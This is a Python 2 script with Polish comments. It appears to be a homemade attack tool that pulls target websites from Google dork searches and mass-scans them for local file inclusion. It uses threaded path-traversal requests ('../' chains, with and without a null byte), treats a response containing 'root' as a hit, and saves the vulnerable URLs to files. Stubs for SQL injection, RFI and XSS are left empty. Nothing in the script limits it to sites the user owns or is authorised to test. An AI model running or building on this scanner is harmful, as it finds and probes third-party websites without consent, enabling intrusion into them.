#!/usr/bin/python2.7

import requests
import time
import os
import sys
import json
import random
from google import search
import datetime
import threading

def usage():
    ms = '''
    ##############################################################
    cmd:: help == help
    cmd::files - show files
    cmd:: getdoorks == pobiera doorki do pliku .txt, bez skanowania
    cmd:: lfiscan == skanuje lfi
    ###############################################################
    '''
    return ms

try:
    os.system('mkdir targets')
    print '\n',usage(),'\n'
except:
    pass

def search_target(dork='index.php?lang=',langs='pl',domain='pl',limits=20,savefile=False):
    target_list = []
    if savefile:
        fname = raw_input('Podaj nazwe pliku: ')
    print '       \n******Looking for targets...******\n\n'
    for target in search(dork, tld=domain, lang=langs, stop=limits):
        url_ = target
        print url_
        target_list.append(url_)
    if savefile:
        with open('targets/'+fname,'a') as fi:
            for i in xrange(len(target_list)):
                fi.write(target_list[i]+'\n')
        print '\n done.'
    else:
        return target_list

def show_files():
    os.system('cd targets && ls')

def path_scan(fname,froms,to):
    print '*****scaning for [LFI]*****\n'
    time.sleep(1.5)
    list_ur = fname
    new_list_ur = []
    for new_link in list_ur:
        n = new_link.split('=') # na razie zbiera tylko jeden parametr z geta, bo tylko 5% stron z searchu maja wiecej
        new_list_ur.append(n[0])
    lfi_vuln = []
    for ix in xrange(froms,to):
        for i in xrange(8):   #ile razy podbic up w katalogu (../)
            etc = lambda x: '../' * i
            proxy = {'http':'localhost:8080', #proxy odpowiednio dla http i https
                     'https':'localhost:8080'}
            reqp = requests.get(new_list_ur[ix]+'='+str(etc(i)+'../etc/TESTUJE_TYLKO'),proxies=None) #proxy odpalasz poprzez zamiane None na zmienna proxy
            reqp2 = requests.get(new_list_ur[ix]+'='+str(etc(i)+'../etc/TESTUJE_TYLKO%00'),proxies=None) #mozna skopiowac te linie, dodac zmienna rcontent3 dla windowsa
            rcontent = reqp.content
            rcontent2 = reqp2.content
            print reqp.url
            print reqp2.url
            if rcontent.count('root'): #co ma zawierac podatna strona w zrodle, to nizej tez.
                lfi_vuln.append(reqp.url)
            elif rcontent2.count('root'): #rownolegle skanuje z/bez bajta zerowego
                lfi_vuln.append(reqp2.url)
    print lfi_vuln
    f = open('targets/'+random.randint(243,9845)+'lfi_ok_'+'.txt','a')
    lff = len(lfi_vuln)
    for lll in xrange(lff):
        f.write(lfi_vuln[lll]+'\n')
    sys.exit()


def sqli(fname):
    #definicja blind sql injection, 10% zwracanej wagi strony  == blind
    pass

def PCI(fname):
    pass

def RFI(fname):
    pass

def xss(fname):
    pass

def new_req():
    pass

def main2():
    cmd = raw_input('cmd:: ')
    if cmd == 'getdoorks':
            dorkz = raw_input('podaj dork: eg. index.php?id= :')
            cczz = int(raw_input('ile stron pobrac?: '))
            dorname = dorkz.replace('.','-')
            search_target(dorkz,limits=cczz,savefile=True)
    elif cmd == 'lfiscan':
        forli = int(raw_input('chcesz pobrac z pliku[1] czy od nowa, z dorka?[0]: '))
        if forli:
            des_list = []
            print 'lista dostepnych plikow:\n'
            show_files()
            fnm = raw_input('podaj nazwe pliku: ')
            try:
                with open('targets/'+fnm,'r') as fi:
                    for uri in fi:
                        des_list.append(uri)
            except:
                print 'nie ma takiego pliku!'
                sys.exit()
        else:
            dork = raw_input('podaj dork: eg. index.php?id= :')
            dorkzna = dork.replace('.','-')
            cc = int(raw_input('ile stron pobrac?: '))
            des_list = search_target(dork,limits=cc)
        lonlist = len(des_list)
        print 'ilosc stron do przeskanowania: ',lonlist
        time.sleep(2)
        rhr_cc = 20 #################  <= ile watkow
        thr = lonlist / rhr_cc
        for x in xrange(rhr_cc):
            threading.Thread(target=path_scan,args=(des_list,thr*x,thr+thr*x)).start()
    elif cmd == 'show':
        show_files()
        fnmw = raw_input('nazwa pliku: ')
        os.system('cd targets && nano %s') % (fnmw)
    elif cmd == 'files':
            show_files()
    elif cmd == 'help':
            print '\n',usage(),'\n'


if __name__ == '__main__':
    while True:
        main2()